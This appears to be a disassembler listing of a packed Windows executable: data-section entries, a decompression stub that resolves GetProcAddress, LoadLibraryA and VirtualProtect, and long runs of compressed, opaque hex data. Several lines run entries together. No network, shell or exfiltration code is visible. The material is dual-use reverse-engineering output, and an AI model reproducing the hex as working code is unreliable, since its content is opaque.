dword_4DE5E4 dd 351400h ; sub_40121E+30Cr ...
dd 0
dword_4DE5EC dd 351428h ; sub_426197+9r ...
dword_4DE5F0 dd 0 dword_4DE5F4 dd 0 ; sub_426565+4r ...
dd 0
off_4DE5FC dd offset aCM_unpackerPac ; DATA XREF: sub_42364E+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DE604 db 0 ; DATA XREF: sub_41BE43+2Dw
; sub_4240A3+5r
align 4
dword_4DE608 dd 0 dword_4DE60C dd 0 ; sub_41BE43+8Bw
dword_4DE610 dd 0 ; sub_41C764+91w
align 8
dword_4DE618 dd 0 align 10h
dword_4DE620 dd 0 ; sub_41D71B+A4w
align 8
word_4DE628 dw 0 ; DATA XREF: sub_41D71B+55r
; sub_41D71B+9Ao
word_4DE62A dw 0 ; DATA XREF: sub_41D71B+48r
db 2 dup(0)
word_4DE62E dw 0 ; DATA XREF: sub_41D71B+3Br
word_4DE630 dw 0 ; DATA XREF: sub_41D71B+2Er
word_4DE632 dw 0 ; DATA XREF: sub_41D71B+21r
align 8
dword_4DE638 dd 0 ; sub_423595:loc_4235A7r ...
align 10h
dword_4DE640 dd 0 dword_4DE644 dd 0 ; sub_41F2C9+2Dw ...
dword_4DE648 dd 0 dword_4DE64C dd 0 ; sub_41B872:loc_41BAAFr ...
dword_4DE650 dd 1 ; sub_4206E2+4w ...
dword_4DE654 dd 0 dd 0
dword_4DE65C dd 0 ; sub_42217D+1Ar ...
byte_4DE660 db 0 ; DATA XREF: sub_422079+3r
; sub_422079+98r ...
align 4
dword_4DE664 dd 0 ; sub_42225B+21w ...
byte_4DE668 db 0 ; DATA XREF: sub_42225B+51w
align 4
dword_4DE66C dd 0 ; sub_42282C+3Ar ...
dword_4DE670 dd 0 ; sub_42282C+43r ...
dword_4DE674 dd 0 ; sub_4225F8+5r
dword_4DE678 dd 0 dword_4DE67C dd 2 dup(0) dword_4DE684 dd 0 ; sub_41DC4A+6Er ...
dd 3 dup(0)
dword_4DE694 dd 0 ; sub_41DED4+BFr ...
dd 0
dword_4DE69C dd 1 ; sub_42316A+4Cw ...
dword_4DE6A0 dd 0 ; sub_4233B9+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42364E:loc_423665o
; .XPack0:off_4DE5FCo
align 10h
dd 3Ah dup(0)
dword_4DE7A8 dd 1 ; sub_42389B+23w ...
dword_4DE7AC dd 0 dword_4DE7B0 dd 0 ; sub_420AE6:loc_420B0Fw ...
dword_4DE7B4 dd 0 dword_4DE7B8 dd 1 ; sub_4243B4:loc_42441Ew
align 10h
word_4DE7C0 dw 0 ; DATA XREF: sub_424CB9+1Ao
; sub_424CB9+46r
byte_4DE7C2 db 0 ; DATA XREF: sub_424CB9+39r
align 4
dword_4DE7C4 dd 7 dup(0) dword_4DE7E0 dd 0 ; sub_424CB9+5Co
dword_4DE7E4 dd 0 dword_4DE7E8 dd 0 dword_4DE7EC dd 0 dword_4DE7F0 dd 77C2807Ch ; sub_424DDC+38r ...
align 8
dword_4DE7F8 dd 0 ; sub_424EBC+63w ...
align 10h
dword_4DE800 dd 0 ; sub_424EBC+46r
dword_4DE804 dd 10h dup(0) word_4DE844 dw 0 ; DATA XREF: sub_42511A+A8r
word_4DE846 dw 0 ; DATA XREF: sub_424EBC+54r
; sub_42511A+DBr ...
word_4DE848 dw 0 ; DATA XREF: sub_42511A+CAr
word_4DE84A dw 0 ; DATA XREF: sub_42511A+D3r
; sub_42511A:loc_42520Cr
word_4DE84C dw 0 ; DATA XREF: sub_42511A+C0r
word_4DE84E dw 0 ; DATA XREF: sub_42511A+B8r
word_4DE850 dw 0 ; DATA XREF: sub_42511A+B0r
word_4DE852 dw 0 ; DATA XREF: sub_42511A+9Er
dword_4DE854 dd 0 dword_4DE858 dd 10h dup(0) word_4DE898 dw 0 ; DATA XREF: sub_42511A+46r
word_4DE89A dw 0 ; DATA XREF: sub_424EBC:loc_424F33r
; sub_42511A+78r ...
word_4DE89C dw 0 ; DATA XREF: sub_42511A+67r
word_4DE89E dw 0 ; DATA XREF: sub_42511A+70r
; sub_42511A:loc_42519Er
word_4DE8A0 dw 0 ; DATA XREF: sub_42511A+5Dr
word_4DE8A2 dw 0 ; DATA XREF: sub_42511A+55r
word_4DE8A4 dw 0 ; DATA XREF: sub_42511A+4Dr
word_4DE8A6 dw 0 ; DATA XREF: sub_42511A+3Er
dword_4DE8A8 dd 0 dword_4DE8AC dd 0 ; sub_424EBC:loc_425008r ...
dword_4DE8B0 dd 0 dword_4DE8B4 dd 0 ; resolved to->USER32.MessageBoxA ; sub_425448+2Ew ...
dword_4DE8B8 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_425448:loc_425497r
dword_4DE8BC dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_425448+60r
dword_4DE8C0 dd 0 dword_4DE8C4 dd 0 ; sub_426025+6Do
dword_4DE8C8 dd 0 ; sub_426025+44o
dword_4DE8CC dd 0 ; sub_426025+37o
dword_4DE8D0 dd 0 ; sub_426025+51o
align 8
dword_4DE8D8 dd 0 ; sub_4265D3+48w ...
dword_4DE8DC dd 0 ; sub_4270BB+4Cw ...
dword_4DE8E0 dd 0 ; sub_427346:loc_4273B0w
byte_4DE8E4 db 0 ; DATA XREF: sub_40DA34r sub_40DA34+9w
align 4
dword_4DE8E8 dd 3527A0h ; sub_41FB3D+14r ...
dd 5 dup(0)
dword_4DE900 dd 400h dup(0) ; .XPack0:0043FD10o
dword_4DF900 dd 200h ; sub_41E290+56r ...
dd 7 dup(0)
dword_4DF920 dd 350650h ; sub_41F7BC+2Ar ...
dword_4DF924 dd 3Fh dup(0) dword_4DFA20 dd 20h ; sub_41F7BC+Cr ...
dword_4DFA24 dd 4E4h ; sub_420549+65w ...
align 10h
dword_4DFA30 dd 3 dup(0) ; sub_420549+171o ...
dword_4DFA3C dd 0 ; sub_420549+15Dw ...
byte_4DFA40 db 0 ; DATA XREF: sub_420788:loc_420894w
; sub_420788:loc_4208B1w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DFB40 db 0 ; DATA XREF: sub_420549+5Co
; sub_420549+AFo ...
byte_4DFB41 db 0 ; DATA XREF: sub_41C041+5Dr
; sub_420549+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DFC44 dd 0 ; sub_420549+12Bw ...
dword_4DFC48 dd 0 ; sub_41EB74+5r ...
dword_4DFC4C dd 0 ; sub_41E542+25Ar ...
dword_4DFC50 dd 0 ; sub_41E542+311w ...
dword_4DFC54 dd 0 ; sub_41E542+22Dr ...
dword_4DFC58 dd 0 ; sub_41E517r ...
dword_4DFC5C dd 0 ; sub_41E517+8r ...
dword_4DFC60 dd 0 ; sub_41BB83+Fr ...
dword_4DFC64 dd 350000h ; sub_41B872+C0r ...
dword_4DFC68 dd 1 ; sub_41B872:loc_41B8A2r ...
dword_4DFC6C dd 142340h ; sub_42353D+Fr ...
dword_4DFC70 dd 1 ; sub_426197r
dword_4DFC74 dd 1 ; sub_42090D+11w ...
dword_4DFC78 dd 352718h ; sub_41D643+13r ...
dword_4DFC7C dd 352718h ; sub_41BE43+57r ...
dd 0E0h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
_XPack0 ends
; Section 2. (virtual address 000E1000)
; Virtual size : 0001FDE8 ( 130536.)
; Section size in file : 0001FDE8 ( 130536.)
; Offset to raw data for section: 000E1000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_XPack segment para public 'CODE' use32
assume cs:_XPack
;org 4E1000h
assume es:nothing, ss:nothing, ds:_XPack0, fs:nothing, gs:nothing
dd 41DFD368h, 0E8609C00h, 62Dh, 0E1034h, 2 dup(0)
dd 0E1044h, 0E1034h, 5 dup(0)
dword_4E1034 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_4F9DFA+60r
dd 7C801D77h, 7C801AD0h, 0
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 47000000h, 72507465h
dd 6441636Fh, 73657264h, 73h, 64616F4Ch, 7262694Ch, 41797261h
dd 56000000h, 75747269h, 72506C61h, 6365746Fh, 5D5B0074h
dd 0F003B83h, 0A585h, 1B89FC00h, 330C4B8Bh, 8BD1FFC0h
dd 2FE3104Bh, 8D147B8Dh, 28BCF14h, 4C2748Dh, 30736B8h
dd 48006A00h, 0C48BFB75h, 37FF5650h, 0E8E8h, 4770300h
dd 0E208C783h, 0D8C481EFh, 8B000C1Ch, 0C38B0C4Bh, 738BD1FFh
dd 74F68508h, 0C4E8B39h, 0FF5134E3h, 0C0852C55h, 3894F74h
dd 8B107E8Bh, 0F71EE30Fh, 0C1h, 3077580h, 4141044Bh, 0E18106EBh
dd 7FFFFFFFh, 0FF33FF51h, 0EBAB2855h, 14C683DEh, 438BC7EBh
dd 147B8D10h, 0ADC7348Dh, 5013E391h, 5051C48Bh, 92AD206Ah
dd 0FF5250ADh, 0E2593055h, 9D6158EFh, 54EC83C3h, 768BFC8Bh
dd 0ACD78B0Ch, 374C084h, 0E8F8EBAAh, 0Bh, 746F6E20h, 756F6620h
dd 5E00646Eh, 0C084AAACh, 6AFA75h, 6A5257h, 6E8h, 72724500h
dd 5E00726Fh, 0C084AAACh, 0BE8FA75h, 55000000h, 33524553h
dd 4C442E32h, 55FF004Ch, 0CE82Ch, 654D0000h, 67617373h
dd 786F4265h, 0FF500041h, 0D0FF2855h, 487CC483h, 2CC8C3h
dd 5D8B6000h, 8D038B0Ch, 89048344h, 3353F845h, 0FC4589C0h
dd 89F44589h, 4589F045h, 4589400Ch, 0E84589ECh, 89E44589h
dd 7D8BD845h, 400B810h, 36B90000h, 0F3000307h, 5A056AABh
dd 3BEE8h, 0F8754A00h, 8B58FF6Ah, 4D8BF075h, 10558BF4h
dd 0C103E683h, 0CE0304E1h, 0E88A148Dh, 3B9h, 0D6830Fh
dd 0D0E80000h, 0F000003h, 69FC4DB6h, 0C00C9h, 8BDB3300h
dd 83431075h, 8D07F47Dh, 1CD8318Ch, 4D890000h, 8B547CE0h
dd 4D2BF04Dh, 8758BECh, 310CB60Fh, 0D1DC4D89h, 758BDC65h
dd 0E07D8BDCh, 100E681h, 0C8D0000h, 8F948D1Eh, 400h, 360E8h
dd 0E80D7300h, 37Bh, 0F685DB03h, 0DEB3875h, 383E8h, 8DF68500h
dd 74011B5Ch, 0FB8129h, 7C000001h, 8B27EBBEh, 148DE04Dh
dd 32FE899h, 9730000h, 34AE8h, 0EBDB0300h, 356E809h, 5C8D0000h
dd 0FB81011Bh, 100h, 758BD97Ch, 84D8BF0h, 83F045FFh, 8804F47Dh
dd 1C88FC5Dh, 83097D0Eh, 0E900F465h, 0FFFFFF23h, 0AF47D83h
dd 6D83097Dh, 14E903F4h, 83FFFFFFh, 0E906F46Dh, 0FFFFFF0Bh
dd 30FE8h, 0F4558B00h, 8D104D8Bh, 3009194h, 0C6E80000h
dd 73000002h, 2E1E836h, 7D830000h, 4D8B07F4h, 0D84D89E8h
dd 89E44D8Bh, 4D8BE84Dh, 0E44D89ECh, 6583067Dh, 5EB00F4h
dd 458F036Ah, 10558BF4h, 0CC8C281h, 0EEE90000h, 0E8000000h
dd 2C0h, 8BF44D8Bh, 948D1055h, 3308Ah, 277E800h, 56730000h
dd 292E8h, 0F44D8B00h, 0C10FC183h, 7D8B04E1h, 8DCE0310h
dd 5AE88F14h, 73000002h, 275E832h, 758B0000h, 83C933F0h
dd 8B07F47Dh, 9D0F0855h, 94C8DC1h, 0F44D8909h, 2BF04D8Bh
dd 45FFEC4Dh, 110C8AF0h, 88FC4D88h, 54E9160Ch, 0E8FFFFFEh
dd 258h, 51E863EBh, 8B000002h, 4D8B1055h, 8A948DF4h, 360h
dd 208E8h, 0E80A7300h, 223h, 0EBE44D8Bh, 22EE837h, 4D8B0000h
dd 10558BF4h, 908A948Dh, 0E8000003h, 1E5h, 0E80A73h, 8B000002h
dd 0EEBE84Dh, 20BE8h, 0E8558B00h, 89D84D8Bh, 558BD855h
dd 0E85589E4h, 89EC558Bh, 4D89E455h, 83C933ECh, 0F07F47Dh
dd 8349C19Dh, 0C183FDE1h, 0F44D890Bh, 8110558Bh, 14D0C2h
dd 19BE800h, 10730000h, 1B6E8h, 0C1006A00h, 5C8D05E6h
dd 20EB0816h, 1BBE8h, 4C28300h, 17CE8h, 0E8157300h, 197h
dd 8D05E6C1h, 204169Ch, 86A0000h, 0FEB036Ah, 197E8h, 49A8D00h
dd 6A000004h, 59086A10h, 51D44D89h, 18BE8h, 0F6335900h
dd 0D3DA8B46h, 0CE2B59E6h, 7D83D903h, 0F5304F4h, 0BD8Dh
dd 0F4458300h, 4FB8307h, 0CB8B047Dh, 36A03EBh, 10758B59h
dd 8D08E1C1h, 6C0319Ch, 66A0000h, 0E8D4458Fh, 14Ch, 8340EA83h
dd 0FA8B04FAh, 5B8C0Fh, 0CA8B0000h, 0E783F9D1h, 0CF834901h
dd 0EFA8302h, 7DD44D89h, 8BE7D312h, 8BCA2BCFh, 9C8D1055h
dd 0ABC8Ah, 832CEB00h, 0E85104E9h, 0B0h, 0FF03E8D1h, 720C4539h
dd 0C452906h, 5901CF83h, 5D8BE8E2h, 88C38110h, 0C100000Ch
dd 46A04E7h, 6AD4458Fh, 0DC458F01h, 0E3E8h, 7D894700h
dd 2C745BECh, 43F04D8Bh, 343CF2Bh, 118A084Dh, 8BF0758Bh
dd 0FF4B087Dh, 8541F045h, 0FC5588DBh, 753E1488h, 0FCA5E9E9h
dd 8B5BFFFFh, 0D4EBEC7Dh, 0E30F8B5Fh, 8B046A46h, 4D8B0875h
dd 0C7835AF0h, 73D13B04h, 3C42AC36h, 3C1674E8h, 3C1274E9h
dd 3BEE750Fh, 0AC2473D1h, 72803C42h, 778F3CEAh, 74173BE6h
dd 3C068BD9h, 32D6750Dh, 2BC80FC0h, 830689C2h, 0C28304C6h
dd 61C6EB04h, 0CC2C9h, 3Dh, 56197301h, 8BF8758Bh, 0B60F0C4Dh
dd 8E1C136h, 0E0C1CE0Bh, 0F845FF08h, 5E0C4D89h, 0FFDAE8C3h
dd 0A8BFFFFh, 0EFC1F88Bh, 0F9AF0F0Bh, 0C30C7D39h, 0BFC78Bh
dd 2B000008h, 5EFC1F9h, 0E8C3F903h, 0FFFFFFECh, 29C33A89h
dd 0C72B0C7Dh, 0EFC1F98Bh, 0C3CF2B05h, 0FFFFEEE8h, 0C30A89FFh
dd 5742D233h, 0FFFF97E8h, 930C8BFFh, 0FFFFB7E8h, 0E80D73FFh
dd 0FFFFFFBCh, 3933C89h, 10EB5FD2h, 0FFFFC6E8h, 930C89FFh
dd 112548Dh, 0DC7D0B5Fh, 0FFDC65D1h, 0CB75D44Dh, 0FA44E8C3h
dd 0FFFFh, 7C80h, 915C0040h, 11340042h, 1004Eh, 10000000h
dd 87820040h, 10001h, 10000000h, 65B80040h, 80002h, 0B06F0000h
dd 0B08C0000h, 0B2620000h, 0F7420001h, 0FBFC0001h, 0FC990001h
dd 4BD70001h, 4C210002h, 2A000002h, 1285D9A2h, 0C952EAEh
dd 0B2909EC5h, 203ADCE3h, 0FA69F4CFh, 0A18542C3h, 7E07FC32h
dd 39DA5A06h, 0DC2BFB11h, 7557BE55h, 0C7635E5Eh, 0B9B34F4h
dd 80A6AB17h, 6EAD265Eh, 93BD2357h, 0D76C9D16h, 8A062CC6h
dd 0FCAD56A6h, 2CA6A38Dh, 860670BEh, 941FC562h, 0CAFB3EBAh
dd 0A3ABF677h, 0EB0DB181h, 38847A3Ch, 8AE212A3h, 1FA99C00h
dd 3147888Eh, 64BB8B82h, 46E4C9FFh, 3D184624h, 9DEC1C5Ah
dd 98256233h, 0FD444ADFh, 0FD6FA792h, 2678966Bh, 0FCE405Ah
dd 5E16CEE2h, 5A2B8A56h, 1EE8D9D9h, 9A36CD0Ah, 0C20BBC3Ah
dd 27CCF1B3h, 755B9AC2h, 2017B564h, 3A67F0AFh, 0AF6DB8CFh
dd 61F70BB1h, 19C42B9Ch, 6378F983h, 7E0D4144h, 19CAF716h
dd 7977FA01h, 0AEC0ACEFh, 0AF922E7Dh, 394FE3F8h, 59F479FEh
dd 8A357DBAh, 4EA43A56h, 24C3AB66h, 0AB9FFC7Dh, 1ACCF047h
dd 0F6C1A37Fh, 2A43D9D9h, 4A433B8h, 0B563A233h, 1C59106Fh
dd 930733ECh, 2D409EC7h, 212E3015h, 0A1DB5CDEh, 6C1EF6F2h
dd 415F650Fh, 0F1803827h, 0EA159098h, 9D050A90h, 2441AABBh
dd 0EAFC9F99h, 0E3502282h, 1159220Ch, 0F288E28Dh, 4A6F51DFh
dd 9A0B5C7h, 0A47B5907h, 55FE097Bh, 0C85728CFh, 0EC909102h
dd 0A437C4A0h, 71D57740h, 0AB27567h, 0F37A0A80h, 3EE21DB8h
dd 9D87FCCFh, 19C2269Dh, 0AD11532Eh, 24991485h, 0F5895E4Ah
dd 373E6063h, 92AF4619h, 2345ADEDh, 7E0A9588h, 79675BEFh
dd 0C2C20F0Ah, 0EB116F13h, 0DE923A9Ah, 0BA63BBA3h, 0B36E30BAh
dd 9BE85791h, 419AB3A0h, 0FC511BF6h
dd 4CA08C64h, 0A3A456A4h, 19AEC637h, 0E024F266h, 6529C19Ah
dd 41D689Ah, 0FCE5A7F3h, 0C92AED15h, 6933994h, 0EE6E36FCh
dd 6C1B79h, 1538F4F9h, 7B711BC1h, 9121FF18h, 0A3144C28h
dd 352E3166h, 8DE102Ch, 65018BD6h, 775E120Ch, 45615E05h
dd 52061C0Ah, 47A9DECh, 0D1B6DAA9h, 0B5A81941h, 939E90B9h
dd 6777A66Bh, 806E6B4Eh, 16C35B95h, 3A782D75h, 2370CA82h
dd 8A497F95h, 6864BD11h, 8D8D6935h, 0FF1F86B6h, 0D592205Fh
dd 469FFAD0h, 1377DA89h, 60328516h, 6950E1DCh, 0C9CE2292h
dd 20F099F7h, 816A3EC7h, 2275451Dh, 8B52E2AAh, 0DDB3008Dh
dd 688A667Fh, 8D65BAD0h, 1216BA24h, 6D839DC0h, 0ADDEA18Ch
dd 4BD4F58Bh, 608C7135h, 2BCCA632h, 6259C70Bh, 0CD07B696h
dd 9503DCB5h, 0AE6C1583h, 65B4C55Ah, 2FAF9B97h, 0FCD6B785h
dd 0A14BDB75h, 2F170320h, 0D2433AAEh, 0F5E68F39h, 0E335CC63h
dd 2C558BFh, 0F37D1ABEh, 71C95070h, 49159502h, 0A5101468h
dd 0F1CA8C4Ah, 0DE4C8718h, 0F7C64A33h, 39EE0636h, 0AFB2A7E9h
dd 0AE495B88h, 3DDB4A7h, 8EBB7539h, 212A698Bh, 0B2EBFAD0h
dd 0F8CC6DD6h, 8E6FDB55h, 0ACD9F9FEh, 0E072C076h, 14AA7646h
dd 0D3880614h, 0BDD803F6h, 0F9710EFDh, 23E1E3Dh, 815284Ch
dd 69342932h, 10CA870Ah, 4A811624h, 3DA324C5h, 20AA8CC5h
dd 535BE5EDh, 43AD3B64h, 7BC40A26h, 0E5C87D5Bh, 9E7236EAh
dd 1393F710h, 33567F2Ah, 0A3BE9854h, 7CFFF833h, 0D5B8A414h
dd 9881DFDEh, 9E203D80h, 65A95E01h, 0BD5C9615h, 1622A34h
dd 56C1184Ch, 1B30F532h, 3468B754h, 4A2266BAh, 0C93B5D1Eh
dd 36D19D19h, 6A949F9Ah, 4AFB05h, 0CF7283CFh, 0B614C8B2h
dd 42FD4A73h, 15D0398h, 0ED90671h, 7CE22DF7h, 0EE0BBEF9h
dd 0FE1274Eh, 0CAE9F573h, 0CB0069D2h, 0F57D4812h, 0C0C98474h
dd 5AFFB815h, 865E63ADh, 106D4400h, 376EBD81h, 293291B8h
dd 64EDEDFBh, 0C2EF8389h, 0EB4F6D7Bh, 2CBC90C8h, 853D5991h
dd 31057BEBh, 0FF88DB0Fh, 6DE75DC2h, 0B6626DC5h, 0CE56F97h
dd 0AC997E50h, 7C69C1CDh, 0A2BF7F67h, 0E0DCB771h, 2135D4E5h
dd 0E42C328Ah, 0C271254h, 0E0713EA9h, 0A153BE79h, 0EC08C8E7h
dd 62A9C009h, 0AD1E470Fh, 0DE74F31Dh, 0C3353936h, 655279E5h
dd 0ECD61E7Fh, 0CB662801h, 358FFB15h, 76FBACE4h, 1CDA9A99h
dd 466B7CCDh, 53D83A06h, 6BE6232Fh, 0DD67A0E3h, 0BA5B61F7h
dd 88BABDDh, 92AE0DF7h, 87E9A1C1h, 0DBAC9A60h, 0DEB68005h
dd 0C41A17F7h, 9A34504Bh, 3B6AD916h, 0D687B836h, 7BC4C85Ch
dd 68A04D31h, 1F5134Dh, 413074A1h, 0D0E3E6E0h, 4A02573h
dd 0A1A4EC13h, 67710B78h, 0CDD3B738h, 6DF96E71h, 78CF82D2h
dd 80EAE338h, 5983A333h, 0EB4378DEh, 1AD91C8h, 0FC193421h
dd 25DD7Fh, 185272C6h, 69283042h, 10A26C41h, 381BFFF9h
dd 0DA2B6713h, 0F982F744h, 0C24D1838h, 0CE5F10FAh, 0B2255849h
dd 93BE41D6h, 9FDF8044h, 7BE84245h, 8C49B4D4h, 1F3FCD85h
dd 7BF25E52h, 86714D69h, 9186DD98h, 74087B51h, 1BCE3DAFh
dd 65824B2Dh, 8A98281h, 5F8E95D8h, 72D6EE71h, 83231052h
dd 2B9AFBF5h, 6108B7F0h, 73E88A8Fh, 3F5C7631h, 6CE9A642h
dd 0CEABBEA2h, 4FCF3A53h, 0C8B2353Bh, 0FD8CF3D5h, 0B9A07BFFh
dd 6DC517Dh, 83B32251h, 0E770EEEFh, 9C201794h, 0EE7EFD08h
dd 0A531133Bh, 7E42F7C1h, 0F984843Ah, 0FF0A0035h, 4661742Dh
dd 679FDDC7h, 924ED9CCh, 8A8B6AFCh, 0D3BA5DBCh, 88DC8B4Eh
dd 49362789h, 0BC2FFC97h, 4FAED9A9h, 4A80563Ah, 0BC542173h
dd 1571AA87h, 4ACD7608h, 843B63Bh, 2F6A0913h, 0B4994A78h
dd 3BA1E688h, 22A78F6h, 0F3D1CAFBh, 0C0AB46E0h, 76ADC716h
dd 43F096B6h, 0C960BF53h, 6F3C8973h, 0ECD0FC31h, 0A5CA3FB2h
dd 0D32E9FEFh, 2A99E967h, 0C3701FE2h, 51EE05FBh, 0CEF647EFh
dd 0E209FF3Ch, 56AEFE0Ch, 3FCC68EEh, 0F789AED8h, 28FF8416h
dd 7261B668h, 0A3D680EFh, 5C75C01Bh, 0FFC8B9D8h, 0D10E1114h
dd 7E3F96E1h, 0D6E54BFCh, 7469E9AFh, 2B19462Eh, 2E38E99Ch
dd 0A3E469F8h, 0A7008AA1h, 0B6549C4h, 956764F2h, 0FE88D37Eh
dd 21945070h, 0DFAF0E56h, 0B41DF48h, 0D840B341h, 0FF8758CBh
dd 9EBEADA6h, 0B6B0ACE8h, 0C43D2E5Ah, 0E58B4ADAh, 0C6AEAA5h
dd 1314DB4Eh, 0CB8825A3h, 3DC54072h, 0A00A9F43h, 5645F6A8h
dd 38879C77h, 0B2B97006h, 0BAD28564h, 8B3C813Fh, 0CF087E38h
dd 0A56B0D12h, 7DC55713h, 2BBCB253h, 0AA682BD4h, 2756CCFh
dd 8C804529h, 83ACCCF1h, 41A57DE2h, 5BEC2628h, 1CFC9522h
dd 26FEA1C2h, 0D2CFBDh, 0BD814015h, 19BE042h, 0C5159636h
dd 62DE6890h, 0E905EC33h, 1C65465Fh, 0E9EDAB69h, 99E2CE24h
dd 7A0201Ch, 0A6DF6A14h, 8A8A9F97h, 7A1BA31Bh, 0E756ED35h
dd 0A7AFFF6Ah, 790B1431h, 6B0C3D49h, 8BF562F6h, 0D52E34AAh
dd 1DB2D5C3h, 0DC45F302h, 9AB08FC6h, 0C0BF1AA5h, 0E5764015h
dd 16AD509Bh, 0D6D0571Dh, 2658E202h, 9F407C9Eh, 0C5A7C35Fh
dd 0E5DEE1BEh, 0AC8CE65Ah, 0B9154665h, 9899B831h, 104D8148h
dd 4884DCDDh, 0ED2F296h, 2DEB7CE1h, 38F8C42Dh, 14C97DB9h
dd 2507FD25h, 5DEDA0ABh, 0F7A3CFC5h, 1AAD2A47h, 14750E9h
dd 0E5223EE9h, 0AB8BCA74h, 0F7661F74h, 33D257B6h, 8DDB26FAh
dd 1C3D71B9h, 0C33A8314h, 58E01492h, 67BA9F0Eh, 7207F842h
dd 0CB21C0C7h, 0B4EF38B1h, 5E1DFB87h, 35981017h, 705ECBFEh
dd 14BDFF3Ch, 667A750Bh, 758B273Eh, 13D979AAh, 0F6289279h
dd 407DD597h, 0EB03F298h, 0A988761Fh, 0CFD198EFh, 0EB301D8Fh
dd 0C4EBA061h, 0EC66E352h, 4B1ACFA0h, 0F02829Dh, 511EB49Ch
dd 490B3176h, 52D4488Bh, 0DB6DCF0Eh, 900FDC87h, 0FE34C0D9h
dd 16C7B157h, 0DFF43965h, 95C981F0h, 0A14D55FFh, 0B5DB33D5h
dd 317A9158h, 0DBCDF350h, 6FDF838Ah, 4401F15h, 4E8ACAC3h
dd 0F1BE1A38h, 2C660B08h, 6A239DE8h, 0FB1AF3D6h, 21AE9DB6h
dd 0A6F8F339h, 9708221Bh, 4DFD42FCh, 29A2924Eh, 250A4C79h
dd 0DF85A46h, 92550E3Ah, 3683D3CDh, 0A20D1F7Eh, 72E3C03Fh
dd 513A2624h, 9EB1B95Eh, 0ACF82DFAh, 7EB6F006h, 0A5A4FEB0h
dd 23B525F1h, 550553EBh, 41A4A4F3h, 877559A4h, 89C4BDE4h
dd 3BB35475h, 0A9C2BA3Ah, 37A4389Ah, 8245395Fh, 1B65263Eh
dd 672E53D8h, 626C58AFh, 0B7C42567h, 0FD156EAEh, 0BDDB946Eh
dd 7B6CE401h, 62F4AB5Ah, 1985D699h, 551FE57Fh, 5223E81Dh
dd 0F2356718h, 0DACC222Ah, 53F0A335h, 9F6372FDh, 5B7BEC7Ch
dd 8EC95F17h, 0E9D40917h, 0F91DE6A9h, 0B8771CEDh, 0C4645204h
dd 0AC47B7FFh, 8FD77446h, 0F87BF3DBh, 18ADECC0h, 1769ACF0h
dd 0CEC891EBh, 1ED55D86h, 7874AB30h, 0A599918Ah, 0D3AE4FFCh
dd 342F1F6Ch, 5D1338DEh, 4D541859h, 0E23B9A5Ch, 2D686983h
dd 820CCC9Ch, 751A48B6h, 30D27FFh, 2D57AD61h, 0B55D0B6h
dd 0B9C36F0Bh, 8F12E413h, 5D29A36h, 81E4FE41h, 0C3C49E4Ch
dd 860C0B07h, 9D505537h, 0BA0BD5A8h, 0F28AB7BBh, 1D2802ABh
dd 0AA89D7C1h, 63F6F7DAh, 3697FD41h, 2909072Ah, 0CFCDF64Fh
dd 0E6C9AC8Ch, 3BB14FA2h, 264C9194h, 6D51C162h, 9B298CA0h
dd 0A00DF361h, 84A4D900h, 1FE2B996h, 46DE742h, 42080F1Fh
dd 0C3DD6C62h, 0B7D4FCF4h, 9523F9CFh, 0A47B156Ch, 0DBB51AF3h
dd 0DC94F7F6h, 4549B527h
dd 98E1F43Ch, 6E8F105Fh, 667CE583h, 6717965Bh, 0E2C80DFDh
dd 5C0FD78Bh, 3B7A7682h, 980401EDh, 577DA0E9h, 0E569770Ah
dd 90018925h, 0F898F42Fh, 32E3CB2Ah, 0B931CBAh, 723BE4B6h
dd 0D9544C65h, 702799B6h, 0AE3D6EEh, 8CFC7177h, 0F14A6D5Dh
dd 0B6B49C55h, 0FA488AF7h, 6ECB7F7Eh, 93F1B0BBh, 6F9755B8h
dd 142A9EABh, 0FA53D7B6h, 0EE3FC3A6h, 0E34EC008h, 0B4BA1614h
dd 7BFD0EBDh, 0C8FF88DAh, 0C47ABA42h, 0B5370585h, 0D953DC54h
dd 325247h, 3BCB3415h, 8D491660h, 178F6B47h, 9DB6FEB1h
dd 0F3A01036h, 0FED9B09Ah, 7DD2755Bh, 0B06DCB0Eh, 8AC43EB3h
dd 0C5D307F6h, 6D25D45Ah, 7BDC7FAFh, 4F2A59Ah, 0D84BF240h
dd 55A311F2h, 0C7AC6A61h, 84CB4E5Eh, 9A44F337h, 2C2A51B3h
dd 0EC540433h, 9A585EF8h, 624E1722h, 63EB4455h, 69DADC0Fh
dd 6034AFEDh, 0CB72E4C5h, 0A5E28E43h, 0B44FB492h, 445A5E1h
dd 53A07523h, 4E51E84Bh, 45842166h, 0AE37127Eh, 0CCF47789h
dd 80A1194Bh, 373BF47h, 2F3F14Dh, 65A6B3Ch, 1F78FE5Ch
